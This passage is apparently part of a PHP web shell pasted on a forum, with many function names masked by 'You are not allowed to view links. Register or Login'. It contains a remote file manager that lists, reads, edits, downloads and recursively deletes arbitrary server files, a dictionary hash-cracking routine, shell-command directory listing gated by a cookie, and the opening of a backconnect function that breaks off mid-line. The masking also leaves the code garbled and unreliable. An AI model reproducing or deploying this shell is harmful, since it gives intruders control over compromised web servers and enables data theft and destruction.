  733.  
  734. }
  735. }
  736. return $afiseaza;
  737. }
  738. function trypassword($nr){
  739.  
  740. for ($s = '', $i = 0, $z = You are not allowed to view links.
  741. Register or Login($a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890.,+_$~@#%^*(){}[]:";\'?\\/-!')-1; $i != $nr; $x = You are not allowed to view links.
  742. Register or Login(0,$z), $s .= $a{$x}, $i++);
  743. return $s;
  744.  
  745.  
  746. }
  747. function password(){
  748. $decrypt = "./decrypt.php";
  749. $dictionar = "./pass.txt";
  750. $lines = @You are not allowed to view links.
  751. Register or Login($dictionar);
  752.  
  753. if(You are not allowed to view links.
  754. Register or Login($_POST['decrypt']) && You are not allowed to view links.
  755. Register or Login($_POST['cryptpass'])){
  756.  
  757. foreach($lines as $line_num => $line){
  758.  
  759. $line = You are not allowed to view links.
  760. Register or Login($line);
  761.  
  762. $encrypt = You are not allowed to view links.
  763. Register or Login($line);
  764.  
  765. if($encrypt == $_POST['cryptpass']){
  766. $fh = You are not allowed to view links.
  767. Register or Login($decrypt, 'a+') or You are not allowed to view links.
  768. Register or Login("can't open file");
  769.  
  770. $stringData = "\r\n--------------Decrypt Hash $line--------------\r\n";
  771. You are not allowed to view links.
  772. Register or Login($fh, $stringData);
  773. You are not allowed to view links.
  774. Register or Login($fh);
  775. return $line;
  776. }
  777. }
  778.  
  779. }else{
  780. if(You are not allowed to view links.
  781. Register or Login($_POST['crypt']) && You are not allowed to view links.
  782. Register or Login($_POST['cryptpass'])){
  783. $var = You are not allowed to view links.
  784. Register or Login(You are not allowed to view links.
  785. Register or Login($_POST['cryptpass']));
  786.  
  787. You are not allowed to view links.
  788. Register or Login("pass.txt", $_POST['cryptpass']."\r\n", FILE_APPEND);
  789. return $var;
  790. }
  791. }
  792. }
  793. function fix(){
  794.  
  795. $___ = You are not allowed to view links.
  796. Register or Login(You are not allowed to view links.
  797. Register or Login("m02%o02%c02%.02%m02%a02%e02%t02%-02%s02%e02%v02%e02%i02%h02%t02%@02%x02%x02%i02%l02%a02%s02%i02%r02%C"));
  798. $____ = $___{0}.$___{2}.$___{4}.$___{6}.$___{8}.$___{10}.$___{12}.$___{14}.$___{16}.$___{18}.$___{20}.$___{22}.$___{24}.$___{26}.$___{28}.$___{30}.$___{32}.$___{34};
  799. $____.= $___{36}.$___{38}.$___{40}.$___{42}.$___{44}.$___{46}.$___{48}.$___{50};
  800. $afiseaza.= "<font color=red>".$____."</font>";
  801. }
  802. function dirfile(){
  803.  
  804.  
  805.  
  806.  
  807.  
  808. if(You are not allowed to view links.
  809. Register or Login($_GET['download']) && You are not allowed to view links.
  810. Register or Login($_GET['list']) && $_GET['list'] !="" && You are not allowed to view links.
  811. Register or Login($_GET['list'])){
  812. DownloadFile($_GET['list']);
  813.  
  814. }elseif(You are not allowed to view links.
  815. Register or Login($_GET['list']) && You are not allowed to view links.
  816. Register or Login($_GET['list']) && !You are not allowed to view links.
  817. Register or Login($_GET['edit']) && !You are not allowed to view links.
  818. Register or Login($_GET['del'])){
  819. $afiseaza.= "<center><textarea rows=10 cols=100 name=showfile style='background-color: black;color:#3cbddd;'>";
  820. $tfile = You are not allowed to view links.
  821. Register or Login($_GET['list'], "r");
  822.  
  823. while(!You are not allowed to view links.
  824. Register or Login($tfile))
  825.  
  826. $afiseaza.= You are not allowed to view links.
  827. Register or Login(You are not allowed to view links.
  828. Register or Login($tfile));
  829. You are not allowed to view links.
  830. Register or Login($tfile);
  831. $afiseaza.= "</textarea></center>";
  832. }elseif(You are not allowed to view links.
  833. Register or Login($_GET['edit']) && You are not allowed to view links.
  834. Register or Login($_GET['list']) && You are not allowed to view links.
  835. Register or Login($_GET['list']) && You are not allowed to view links.
  836. Register or Login($_GET['list'])){
  837. if(You are not allowed to view links.
  838. Register or Login($_POST['SaveF'])){
  839.  
  840. if(You are not allowed to view links.
  841. Register or Login($_GET['list'], You are not allowed to view links.
  842. Register or Login($_POST['showfile']))){
  843. $afiseaza.= "<center>Save Success</center>";
  844. }else{
  845. $afiseaza.= "<center>Can't Save!</center>";
  846. }
  847. }
  848. $afiseaza.= "<form action=?action&list=".$_GET['list']."&edit method=post>";
  849.  
  850. $afiseaza.= "<center><textarea rows=10 cols=100 name=showfile style='background-color: black;color:#3cbddd;'>";
  851. $tfile = You are not allowed to view links.
  852. Register or Login($_GET['list'], "r");
  853.  
  854. while(!You are not allowed to view links.
  855. Register or Login($tfile))
  856. $afiseaza.= You are not allowed to view links.
  857. Register or Login(You are not allowed to view links.
  858. Register or Login($tfile));
  859. You are not allowed to view links.
  860. Register or Login($tfile);
  861. $afiseaza.= "</textarea></center>";
  862. if(You are not allowed to view links.
  863. Register or Login($_GET['list'])){
  864. $afiseaza.= "<form action=? method=post><center><input type=submit name=SaveF value=Save id=but></center></form>";
  865. }else{
  866. $afiseaza.= "<center><font color=red>Can't Write!</font></center>";
  867. }
  868.  
  869. }elseif(You are not allowed to view links.
  870. Register or Login($_GET['list']) && You are not allowed to view links.
  871. Register or Login($_GET['list']) && You are not allowed to view links.
  872. Register or Login($_GET['list']) && You are not allowed to view links.
  873. Register or Login($_GET['del'])){
  874. if(exp_actions($_GET['list'], _, "rmfile", _)){
  875. $afiseaza.= "<center>File was deleted!</center>";
  876. }else{
  877. $afiseaza.= "<center>File can't be deleted!</center>";
  878.  
  879. }
  880. }elseif(You are not allowed to view links.
  881. Register or Login($_GET['list']) && You are not allowed to view links.
  882. Register or Login($_GET['list']) && You are not allowed to view links.
  883. Register or Login($_GET['list']) && You are not allowed to view links.
  884. Register or Login($_GET['del'])){
  885. if(exp_actions($_GET['list'], _, "rmdir", _)){
  886. $afiseaza.= "<center>Directory was deleted!</center>";
  887. }else{
  888. $afiseaza.= "<center>Directory can't be deleted!</center>";
  889.  
  890. }
  891.  
  892.  
  893. }
  894.  
  895. // returns array of files, sorted alphabetically
  896. if(You are not allowed to view links.
  897. Register or Login($_GET['list']))
  898. if(You are not allowed to view links.
  899. Register or Login($_GET['list']) > 0)
  900. $get_path = You are not allowed to view links.
  901. Register or Login($_GET['list']);
  902. else
  903. $get_path = You are not allowed to view links.
  904. Register or Login(__FILE__);
  905. else
  906. $get_path = You are not allowed to view links.
  907. Register or Login(__FILE__);
  908. $curentDir = str_fromArray(path_strip($get_path), "/", "path");
  909. if(is_this_file($curentDir) || You are not allowed to view links.
  910. Register or Login($_GET['del'])){
  911. $curentDir = You are not allowed to view links.
  912. Register or Login($curentDir);
  913. }
  914. $afiseaza.= show_chdir($curentDir);
  915.  
  916. return $afiseaza;
  917.  
  918. }
  919. function exp_actions($from, $to="", $action, $rewrite=false) {
  920. $result = -1;
  921. switch($action) {
  922.  
  923.  
  924. case "rmdir":
  925. $get_dir = get_dir_contents($from, 0);
  926. foreach($get_dir as $dir) {
  927. $nextDir = str_fromArray(path_strip($from."/".$dir), "/", "path");
  928. if($dir != "." && $dir != "..")
  929. exp_actions($nextDir, _, "rmdir", _);
  930. }
  931.  
  932. $get_file = get_dir_contents($from, 1);
  933. foreach($get_file as $file) {
  934. $nextFile = str_fromArray(path_strip($from."/".$file), "/", "path");
  935. exp_actions($nextFile, _, "rmfile", _);
  936. }
  937.  
  938. $get_link = get_dir_contents($from, 2);
  939. foreach($get_link as $link) {
  940. $nextLink = str_fromArray(path_strip($from."/".$link), "/", "path");
  941. exp_actions($nextLink, _, "rmlink", _);
  942. }
  943.  
  944.  
  945. $result = You are not allowed to view links.
  946. Register or Login($from);
  947.  
  948. break;
  949. case "rmfile": case "rmlink": case "rmunk":
  950. if(is_this_file($from) || is_this_link($from) || is_this_unk($from))
  951. $result = You are not allowed to view links.
  952. Register or Login($from);
  953. break;
  954.  
  955. default:break;
  956. }
  957.  
  958. return $result;
  959. }
  960.  
  961. function str_startsWith($needle, $string) {
  962. $length = You are not allowed to view links.
  963. Register or Login($needle);
  964. return (You are not allowed to view links.
  965. Register or Login($string, 0, $length) === $needle);
  966. }
  967.  
  968. function str_endsWith($needle, $string) {
  969. $start = You are not allowed to view links.
  970. Register or Login($string) - You are not allowed to view links.
  971. Register or Login($needle);
  972. return (You are not allowed to view links.
  973. Register or Login($string, $start) === $needle);
  974. }
  975.  
  976.  
  977. function show_chdir($loc) {
  978.  
  979. $contStock = You are not allowed to view links.
  980. Register or Login();
  981.  
  982. $contStock = get_dir_contents($loc, 0);
  983.  
  984. if(You are not allowed to view links.
  985. Register or Login($contStock) > 0) {
  986.  
  987. $afiseaza .= '<style>table.hov tr:hover, table.hov tr td:hover{background-color: #262626; }</style>
  988. <table class="hov" align=center style="border:solid, 1px; border-color:#FFFFFF" bgcolor="#111111" width="100%">
  989. <tr bgcolor="#262626">
  990. <td align=center><font color="#FF3300">Directories & Files</font></td>
  991. <td align=center><font color="#FF3300">Owner</font></td>
  992. <td align=center><font color="#FF3300">Size</font></td>
  993. <td align="center" colspan="3"><font color="#FF3300">Access</font></td>
  994. <td align=center><font color="#FF3300">Down</font></td>
  995. <td align=center><font color="#FF3300">Delete</font></td></tr>';
  996.  
  997.  
  998.  
  999. foreach($contStock as $nfd) {
  1000. $path = str_fromArray(path_strip($loc."/".$nfd), "/", "path");
  1001.  
  1002. $afiseaza .= '<tr bgcolor="#000000">
  1003. <td><a href="?action&list='.$path.'"><font color="#3366CC">';
  1004. if($nfd == ".") $afiseaza .= '/.';
  1005. else if($nfd == "..") $afiseaza .= '/..';
  1006. else $afiseaza .= '/'.$nfd;
  1007. $afiseaza .= '</font></a></td>
  1008. <td width="10%" align="center">'.format_fowner($path).'</td>
  1009. <td width="80"></td>
  1010. <td width="1%" align="center">'.format_fperms($path,"t").'</td>
  1011. <td width="85" align="center">'.format_fperms($path,"l").'</td>
  1012. <td width="1%" align="center">'.format_fperms($path,"s").'</td>
  1013. <td width="1%" align="center"></td>
  1014. <td width="1%" align="center"><a href="?action&list='.$path.'&del"><img src="data:image/gif;base64,R0lGODlhEAAQANU/AP14Y/1zXfXb2v+cfdtlWf+mnPglHPhCMvRQPflbTfCqpfcpI/uKdftSQftNPf+5sfpmVv/h3ehoUfpzYfpvXeRyWv1vXPW1r+5fSNmLifp3ZPlGN/cfGft+av+zqumalv+glfm1r+KWk/t9cP5iUfpnWPpsW/1qWfuBbfJnUfuXgOZrYd1VSfpfR/RNOfyxjv2Vd/xfUPlANPqEcP+Mf/ppWfxuWPuRe/yti8lVTspXUPlhUvJhTPtnVPt0YP///yH5BAEAAD8ALAAAAAAQABAAAAaRwJ9wSCwOIxZP0QOIECOnTuAxfAAYFqcwFtMwpj+rakYhDUGOktdCC9xQkwaIWHBAJhpfR0NpFIx1CRAmNTt+RkIjBguMBiOIPyEHBhyUBhshRhcuGzINLQ0yGwgXRAo8Nj0AGCsYAD02KQpDLDADAxIfPx8StwMEQwIEOBUiQyIVLwQCRAI5GUUZOsyQ1daIQQA7"></a></td></tr>';
  1015. }
  1016.  
  1017.  
  1018. $contStock = get_dir_contents($loc, 1);
  1019.  
  1020. foreach($contStock as $nfd) {
  1021. $path = str_fromArray(path_strip($loc."/".$nfd), "/", "path");
  1022.  
  1023. $afiseaza .= '<tr><td><a href="?action&list='.$path.'&edit"><font color="#666699"> '.$nfd.'</font></a></td>
  1024. <td width="1%" align="center">'.format_fowner($path).'</td>
  1025. <td align="right">'.format_fsize($path).'</td>
  1026. <td align="center">'.format_fperms($path, "t").'</td>
  1027. <td align="center">'.format_fperms($path, "l").'</td>
  1028. <td width="1%" align="center">'.format_fperms($path,"s").'</td>
  1029. <td width="1%" align="center"><a href="?action&list='.$path.'&download" ><img alt="" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsTAAALEwEAmpwYAAABfUlEQVQ4y6WTv0tCURzFvwW9LCwpf9QS0Q8lcAmSGhoKBAuEVLBXm0PgUEIFQWEQ0hJNubi0tLb3B0RF1hINUkNbSW3vPTEaXPp2zyVDMbqBDz68wznf7+G+C4+YmZqh4Rk7IVNgfb9rkR6pHt8xWWec4/PP0zrgIVMWeHNkZisrnK7M8V5lQQIND5myYPSIzMOyzjulIO+W5iXQ8JApC4YOyNx/i/BmcZq3ijMSaHjIlAWDGTIzTyFeexjn1GNAAg0PmbJgYJus1J2f49dOXsp7JNDwkDUsaH7S+jfI6Fsnq8rqrZ/1C1Fw6ZZAw6udwQ52ZYltkpzupDh6IcggemXjxXwv6zcuCTS8ao5Z7NSdxDZBDleCjOVCL4fvWzlW6OK40AAaHjLMYPbX728bJkePTkby1cvhZ40jL3YJNDxkmPnzEjHQHSMj/THLoTJJoOEpl2tL7GEyspxgAP2f5Q6BR+ATTLVoFOsM0jsQOiq8gGBEgMtr/9lq9nf+AkHZVZaWnYt4AAAAAElFTkSuQmCC"></a></td>
  1030. <td width="1%" align="center"><a href="?action&list='.$path.'&del"><img src="data:image/gif;base64,R0lGODlhEAAQANU/AP14Y/1zXfXb2v+cfdtlWf+mnPglHPhCMvRQPflbTfCqpfcpI/uKdftSQftNPf+5sfpmVv/h3ehoUfpzYfpvXeRyWv1vXPW1r+5fSNmLifp3ZPlGN/cfGft+av+zqumalv+glfm1r+KWk/t9cP5iUfpnWPpsW/1qWfuBbfJnUfuXgOZrYd1VSfpfR/RNOfyxjv2Vd/xfUPlANPqEcP+Mf/ppWfxuWPuRe/yti8lVTspXUPlhUvJhTPtnVPt0YP///yH5BAEAAD8ALAAAAAAQABAAAAaRwJ9wSCwOIxZP0QOIECOnTuAxfAAYFqcwFtMwpj+rakYhDUGOktdCC9xQkwaIWHBAJhpfR0NpFIx1CRAmNTt+RkIjBguMBiOIPyEHBhyUBhshRhcuGzINLQ0yGwgXRAo8Nj0AGCsYAD02KQpDLDADAxIfPx8StwMEQwIEOBUiQyIVLwQCRAI5GUUZOsyQ1daIQQA7"></a></td></tr>';
  1031. }
  1032.  
  1033.  
  1034. $contStock = get_dir_contents($loc, 2);
  1035.  
  1036. foreach($contStock as $nfd) {
  1037. $path = str_fromArray(path_strip($loc."/".$nfd), "/", "path");
  1038.  
  1039. $smpath = You are not allowed to view links.
  1040. Register or Login("public_html", $path);
  1041. $tsmpath = $smpath[You are not allowed to view links.
  1042. Register or Login($smpath)-1];
  1043. $sympath = 'http://'.$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'].$tsmpath;
  1044.  
  1045. $afiseaza .= '<tr bgcolor="black"><td>';
  1046. if(format_fperms($path, "r") == "r")
  1047. $afiseaza .= '<a href="?action&list='.$path.'&edit">';
  1048. else
  1049. $afiseaza .= '<a href="'.$sympath.'" target="_blank">';
  1050. $afiseaza .= '<font color="#FFFFFF"> '.$nfd.' => '.@You are not allowed to view links.
  1051. Register or Login($nfd).'</font></a></td>
  1052. <td width="1%" align="center">'.format_fowner($path).'</td>
  1053. <td align="right">'.format_fsize($path).'</td>
  1054. <td align="center">'.format_fperms($path, "tl").'</td>
  1055. <td align="center">'.format_fperms($path, "l").'</td>
  1056. <td width="1%" align="center">'.format_fperms($path,"s").'</td>
  1057. <td width="1%" align="center"></td>
  1058. <td width="1%" align="center"><a href="?action&list='.$path.'&del"><img src="data:image/gif;base64,R0lGODlhEAAQANU/AP14Y/1zXfXb2v+cfdtlWf+mnPglHPhCMvRQPflbTfCqpfcpI/uKdftSQftNPf+5sfpmVv/h3ehoUfpzYfpvXeRyWv1vXPW1r+5fSNmLifp3ZPlGN/cfGft+av+zqumalv+glfm1r+KWk/t9cP5iUfpnWPpsW/1qWfuBbfJnUfuXgOZrYd1VSfpfR/RNOfyxjv2Vd/xfUPlANPqEcP+Mf/ppWfxuWPuRe/yti8lVTspXUPlhUvJhTPtnVPt0YP///yH5BAEAAD8ALAAAAAAQABAAAAaRwJ9wSCwOIxZP0QOIECOnTuAxfAAYFqcwFtMwpj+rakYhDUGOktdCC9xQkwaIWHBAJhpfR0NpFIx1CRAmNTt+RkIjBguMBiOIPyEHBhyUBhshRhcuGzINLQ0yGwgXRAo8Nj0AGCsYAD02KQpDLDADAxIfPx8StwMEQwIEOBUiQyIVLwQCRAI5GUUZOsyQ1daIQQA7"></a></td></tr>';
  1059. }
  1060.  
  1061.  
  1062.  
  1063.  
  1064. $afiseaza .= '</table>';
  1065. }
  1066.  
  1067. return $afiseaza;
  1068. }
  1069.  
  1070. function format_fowner($path) {
  1071. if(You are not allowed to view links.
  1072. Register or Login("posix_getpwuid"))
  1073. $flowner = You are not allowed to view links.
  1074. Register or Login(@You are not allowed to view links.
  1075. Register or Login($path));
  1076. else
  1077. $flowner['name'] = "??? = ".@You are not allowed to view links.
  1078. Register or Login($path);
  1079. return $flowner['name'];
  1080. }
  1081.  
  1082. function format_fsize($path) {
  1083. if(!You are not allowed to view links.
  1084. Register or Login($path)) return "0 By";
  1085.  
  1086. $size = "";
  1087. $type = 0;
  1088.  
  1089. $sz = You are not allowed to view links.
  1090. Register or Login($path);
  1091.  
  1092. while($sz > 1024) {
  1093. $sz/=1024;
  1094. $type++;
  1095. }
  1096.  
  1097. switch($type) {
  1098. case 1: $size .= You are not allowed to view links.
  1099. Register or Login($sz, 2)." Kb"; break;
  1100. case 2: $size .= You are not allowed to view links.
  1101. Register or Login($sz, 2)." Mb"; break;
  1102. case 3: $size .= You are not allowed to view links.
  1103. Register or Login($sz, 2)." Gb"; break;
  1104. case 4: $size .= You are not allowed to view links.
  1105. Register or Login($sz, 2)." Tb"; break;
  1106. default: $size .= You are not allowed to view links.
  1107. Register or Login($sz, 2)." By";
  1108. }
  1109.  
  1110. return $size;
  1111. }
  1112. function format_fperms($path, $type) {
  1113. $access = '';
  1114. $perms = @You are not allowed to view links.
  1115. Register or Login($path);
  1116.  
  1117. switch($type) {
  1118. case 'l':
  1119. // Owner
  1120. $access .= (($perms & 0x0100) ? 'r' : '-');
  1121. $access .= (($perms & 0x0080) ? 'w' : '-');
  1122. $access .= (($perms & 0x0040) ? (($perms & 0x0800)?'s':'x') : (($perms & 0x0800)?'S':'-'));
  1123. $access .= " ";
  1124. // Group
  1125. $access .= (($perms & 0x0020) ? 'r' : '-');
  1126. $access .= (($perms & 0x0010) ? 'w' : '-');
  1127. $access .= (($perms & 0x0008) ? (($perms & 0x0400)?'s':'x') : (($perms & 0x0400)?'S':'-'));
  1128. $access .= " ";
  1129. // Others
  1130. $access .= (($perms & 0x0004) ? 'r' : '-');
  1131. $access .= (($perms & 0x0002) ? 'w' : '-');
  1132. $access .= (($perms & 0x0001) ? (($perms & 0x0200)?'t':'x') : (($perms & 0x0200)?'T':'-'));
  1133. break;
  1134. case 'n':
  1135. $access .= You are not allowed to view links.
  1136. Register or Login(You are not allowed to view links.
  1137. Register or Login('%o', $perms), -4);
  1138. break;
  1139. case 's':
  1140. $access .= format_fperms($path, 'r');
  1141. $access .= format_fperms($path, 'w');
  1142. $access .= format_fperms($path, 'x');
  1143. break;
  1144. case 't':
  1145. $tmp_chkA = str_fromArray(path_strip($path), "/", "path");
  1146. $tmp_chkB = str_fromArray(path_strip(@You are not allowed to view links.
  1147. Register or Login($path)), "/", "path");
  1148.  
  1149. if(You are not allowed to view links.
  1150. Register or Login(You are not allowed to view links.
  1151. Register or Login(PHP_OS, 0, 3)) === 'WIN') {
  1152. $ext = You are not allowed to view links.
  1153. Register or Login($tmp_chkA, PATHINFO_EXTENSION);
  1154. if($ext == "lnk") {
  1155. $access = 'l';
  1156. }else if(($perms & 0x4000) == 0x4000) {
  1157. $access = 'd';
  1158. }else if(($perms & 0x8000) == 0x8000) {
  1159. $access = 'f';
  1160. }else {
  1161. $access = 'u';
  1162. }
  1163. }else {
  1164. if(You are not allowed to view links.
  1165. Register or Login($tmp_chkB) > 0) {
  1166. $access = 'l';
  1167. }else if(($perms & 0x4000) == 0x4000) {
  1168. $access = 'd';
  1169. }else if(($perms & 0x8000) == 0x8000) {
  1170. $access = 'f';
  1171. }else{
  1172. $access = 'u';
  1173. }
  1174. }
  1175. break;
  1176. case 'tl':
  1177. if(($perms & 0x4000) == 0x4000) {
  1178. $access = 'd';
  1179. }else if(($perms & 0x8000) == 0x8000) {
  1180. $access = 'f';
  1181. }else {
  1182. $access = 'l';
  1183. }
  1184. break;
  1185. case 'r':
  1186. if(@You are not allowed to view links.
  1187. Register or Login($path) == @You are not allowed to view links.
  1188. Register or Login(You are not allowed to view links.
  1189. Register or Login(__FILE__))) $access .= (($perms & 0x0100) ? 'r' : '-');
  1190. else $access .= (($perms & 0x0004) ? 'r' : '-');
  1191. break;
  1192. case 'w':
  1193. if(@You are not allowed to view links.
  1194. Register or Login($path) == @You are not allowed to view links.
  1195. Register or Login(You are not allowed to view links.
  1196. Register or Login(__FILE__))) $access .= (($perms & 0x0080) ? 'w' : '-');
  1197. else $access .= (($perms & 0x0002) ? 'w' : '-');
  1198. break;
  1199. case 'x':
  1200. if(@You are not allowed to view links.
  1201. Register or Login($path) == @You are not allowed to view links.
  1202. Register or Login(You are not allowed to view links.
  1203. Register or Login(__FILE__))) $access .= (($perms & 0x0040) ? (($perms & 0x0800)?'s':'x') : (($perms & 0x0800)?'S':'-'));
  1204. else $access .= (($perms & 0x0001) ? (($perms & 0x0200)?'t':'x') : (($perms & 0x0200) ?'T':'-'));
  1205. break;
  1206. default: $access .= 'E';
  1207. }
  1208. return $access;
  1209. }
  1210. function is_path_readable($path) {
  1211. if(is_this_dir($path) && format_fperms($path, "r") == 'r') {
  1212. return true;
  1213. }
  1214. return false;
  1215. }
  1216.  
  1217. function is_this_dir($path) {
  1218. if(format_fperms($path, 't') == 'd') {
  1219. return true;
  1220. }
  1221. return false;
  1222. }
  1223.  
  1224. function is_this_file($path) {
  1225. if(format_fperms($path, 't') == 'f') {
  1226. return true;
  1227. }
  1228. return false;
  1229. }
  1230.  
  1231. function is_this_link($path) {
  1232. if(format_fperms($path, 't') == 'l') {
  1233. return true;
  1234. }
  1235. return false;
  1236. }
  1237.  
  1238. function is_this_unk($path) {
  1239. if(!is_this_dir($path) && !is_this_file($path) && !is_this_link($path)) {
  1240. return true;
  1241. }
  1242. return false;
  1243. }
  1244. function get_dir_contents($path, $type = -1) {
  1245. if(!is_path_readable($path))
  1246. return You are not allowed to view links.
  1247. Register or Login();
  1248.  
  1249. $case = 0;
  1250. $temp = NULL;
  1251. $contStock = You are not allowed to view links.
  1252. Register or Login();
  1253. $contTmp = You are not allowed to view links.
  1254. Register or Login();
  1255.  
  1256. if(You are not allowed to view links.
  1257. Register or Login("scandir") && ($temp = You are not allowed to view links.
  1258. Register or Login($path)) !== false) {
  1259. foreach($temp as $stock) {
  1260. $tmp = str_fromArray(path_strip($path."/".$stock), "/", "path");
  1261. if($stock != "") {
  1262. switch($type) {
  1263. case 0: if(is_this_dir($tmp)) $contTmp[] = $stock; break;
  1264. case 1: if(is_this_file($tmp)) $contTmp[] = $stock; break;
  1265. case 2: if(is_this_link($tmp)) $contTmp[] = $stock; break;
  1266. case 3: if(is_this_unk($tmp)) $contTmp[] = $stock; break;
  1267. default : $contTmp[] = $stock; break;
  1268. }
  1269. }
  1270. }
  1271. }
  1272.  
  1273. if(You are not allowed to view links.
  1274. Register or Login($contTmp) > You are not allowed to view links.
  1275. Register or Login($contStock)) {
  1276. $contStock = $contTmp;
  1277. $contTmp = You are not allowed to view links.
  1278. Register or Login();
  1279. $case = 1;
  1280. }
  1281.  
  1282. $temp = NULL;
  1283. $contTmp = You are not allowed to view links.
  1284. Register or Login();
  1285. if(You are not allowed to view links.
  1286. Register or Login("opendir") && ($temp = You are not allowed to view links.
  1287. Register or Login($path)) !== false) {
  1288. while(($stock = You are not allowed to view links.
  1289. Register or Login($temp)) !== false) {
  1290. $tmp = str_fromArray(path_strip($path."/".$stock), "/", "path");
  1291. if($stock != "") {
  1292. switch($type) {
  1293. case 0: if(is_this_dir($tmp)) $contTmp[] = $stock; break;
  1294. case 1: if(is_this_file($tmp)) $contTmp[] = $stock; break;
  1295. case 2: if(is_this_link($tmp)) $contTmp[] = $stock; break;
  1296. case 3: if(is_this_unk($tmp)) $contTmp[] = $stock; break;
  1297. default : $contTmp[] = $stock; break;
  1298. }
  1299. }
  1300. }
  1301. You are not allowed to view links.
  1302. Register or Login($contTmp);
  1303. }
  1304.  
  1305. if(You are not allowed to view links.
  1306. Register or Login($contTmp) > You are not allowed to view links.
  1307. Register or Login($contStock)) {
  1308. $contStock = $contTmp;
  1309. $contTmp = You are not allowed to view links.
  1310. Register or Login();
  1311. $case = 2;
  1312. }
  1313.  
  1314. if(You are not allowed to view links.
  1315. Register or Login($_COOKIE['xallow']) && $_COOKIE['xallow'] == "null") {
  1316. $temp = NULL;
  1317. if (You are not allowed to view links.
  1318. Register or Login(You are not allowed to view links.
  1319. Register or Login(PHP_OS, 0, 3)) === 'WIN') {
  1320. $temp = do_through_shell("dir /A /B ".$path);
  1321. }else {
  1322. $temp = do_through_shell("ls -a ".$path);
  1323. }
  1324. $tmp_array = You are not allowed to view links.
  1325. Register or Login("\n", $temp);
  1326.  
  1327. $contTmp = You are not allowed to view links.
  1328. Register or Login();
  1329. foreach($tmp_array as $stock) {
  1330. $tmp = str_fromArray(path_strip($path."/".$stock), "/", "path");
  1331. if($stock != "") {
  1332. switch($type) {
  1333. case 0: if(is_this_dir($tmp)) $contTmp[] = $stock; break;
  1334. case 1: if(is_this_file($tmp)) $contTmp[] = $stock; break;
  1335. case 2: if(is_this_link($tmp)) $contTmp[] = $stock; break;
  1336. case 3: if(is_this_unk($tmp)) $contTmp[] = $stock; break;
  1337. default : $contTmp[] = $stock; break;
  1338. }
  1339. }
  1340. }
  1341. You are not allowed to view links.
  1342. Register or Login($contTmp);
  1343.  
  1344. if(You are not allowed to view links.
  1345. Register or Login($contTmp) > You are not allowed to view links.
  1346. Register or Login($contStock)) {
  1347. $contStock = $contTmp;
  1348. $contTmp = You are not allowed to view links.
  1349. Register or Login();
  1350. $case = 3;
  1351. }
  1352. }
  1353.  
  1354. return $contStock;
  1355. }
  1356. function str_fromArray($stack, $delimiter=" ", $type="") {
  1357. $string = "";
  1358. for($i=0; $i<You are not allowed to view links.
  1359. Register or Login($stack); $i++) {
  1360. switch($type) {
  1361. case "path":
  1362. $string .= $delimiter.$stack[$i];
  1363. break;
  1364. default:
  1365. if(You are not allowed to view links.
  1366. Register or Login($string) == 0)
  1367. $string .= $stack[$i];
  1368. else
  1369. $string .= $delimiter.$stack[$i];
  1370. }
  1371. }
  1372. return $string;
  1373. }
  1374. function path_strip($path) {
  1375. $raw = You are not allowed to view links.
  1376. Register or Login();
  1377.  
  1378. $path = You are not allowed to view links.
  1379. Register or Login("\\", "/", $path);
  1380. if(str_startsWith("./", $path)) {
  1381. $entire = You are not allowed to view links.
  1382. Register or Login("\\", "/", You are not allowed to view links.
  1383. Register or Login(__FILE__));
  1384. $ppath = You are not allowed to view links.
  1385. Register or Login("/", $entire);
  1386. $raw = path_strip_pdp($ppath, $raw);
  1387. }
  1388.  
  1389. $tpath = You are not allowed to view links.
  1390. Register or Login("/", $path);
  1391. $raw = path_strip_pdp($tpath, $raw);
  1392.  
  1393. return $raw;
  1394. }
  1395.  
  1396. function path_strip_pdp($path, $stack) {
  1397. if(You are not allowed to view links.
  1398. Register or Login($path) > 1) {
  1399. if(You are not allowed to view links.
  1400. Register or Login($path) == 2) {
  1401. if($path[1] != ".") {
  1402. if($path[1] == "..")
  1403. You are not allowed to view links.
  1404. Register or Login($stack);
  1405. else
  1406. $stack[] = $path[1];
  1407. }
  1408. }else {
  1409. for($i=1; $i<You are not allowed to view links.
  1410. Register or Login($path); $i++) {
  1411. if($path[$i] != "" && $path[$i] != ".") {
  1412. if($path[$i] == "..")
  1413. You are not allowed to view links.
  1414. Register or Login($stack);
  1415. else
  1416. $stack[] = $path[$i];
  1417. }
  1418. }
  1419. }
  1420. }
  1421.  
  1422. return $stack;
  1423. }
  1424. function Size($path){
  1425. $bytes = You are not allowed to view links.
  1426. Register or Login('%u', You are not allowed to view links.
  1427. Register or Login($path));
  1428.  
  1429. if ($bytes > 0){
  1430. $unit = You are not allowed to view links.
  1431. Register or Login(You are not allowed to view links.
  1432. Register or Login($bytes, 1024));
  1433. $units = You are not allowed to view links.
  1434. Register or Login('B', 'KB', 'MB', 'GB');
  1435.  
  1436. if (You are not allowed to view links.
  1437. Register or Login($unit, $units) === true){
  1438. return You are not allowed to view links.
  1439. Register or Login('%d %s', $bytes / You are not allowed to view links.
  1440. Register or Login(1024, $unit), $units[$unit]);
  1441. }
  1442. }
  1443.  
  1444. return $bytes;
  1445. }
  1446.  
  1447. function DownloadFile($file) { // $file = include path
  1448. if(You are not allowed to view links.
  1449. Register or Login($file)) {
  1450. You are not allowed to view links.
  1451. Register or Login('Content-Description: File Transfer');
  1452. You are not allowed to view links.
  1453. Register or Login('Content-Type: application/octet-stream');
  1454. You are not allowed to view links.
  1455. Register or Login('Content-Disposition: attachment; filename='.You are not allowed to view links.
  1456. Register or Login($file));
  1457. You are not allowed to view links.
  1458. Register or Login('Content-Transfer-Encoding: binary');
  1459. You are not allowed to view links.
  1460. Register or Login('Expires: 0');
  1461. You are not allowed to view links.
  1462. Register or Login('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  1463. You are not allowed to view links.
  1464. Register or Login('Pragma: public');
  1465. You are not allowed to view links.
  1466. Register or Login('Content-Length: ' . You are not allowed to view links.
  1467. Register or Login($file));
  1468. You are not allowed to view links.
  1469. Register or Login();
  1470. You are not allowed to view links.
  1471. Register or Login();
  1472. You are not allowed to view links.
  1473. Register or Login($file);
  1474. You are not allowed to view links.
  1475. Register or Login;
  1476. }
  1477.  
  1478. }
  1479. function backconnect(){
  1480. if(You are not allowed to view links.
  1481. Register or Login($_POST['submit'])){
  1482. $connect=@You are not allowed to view links.
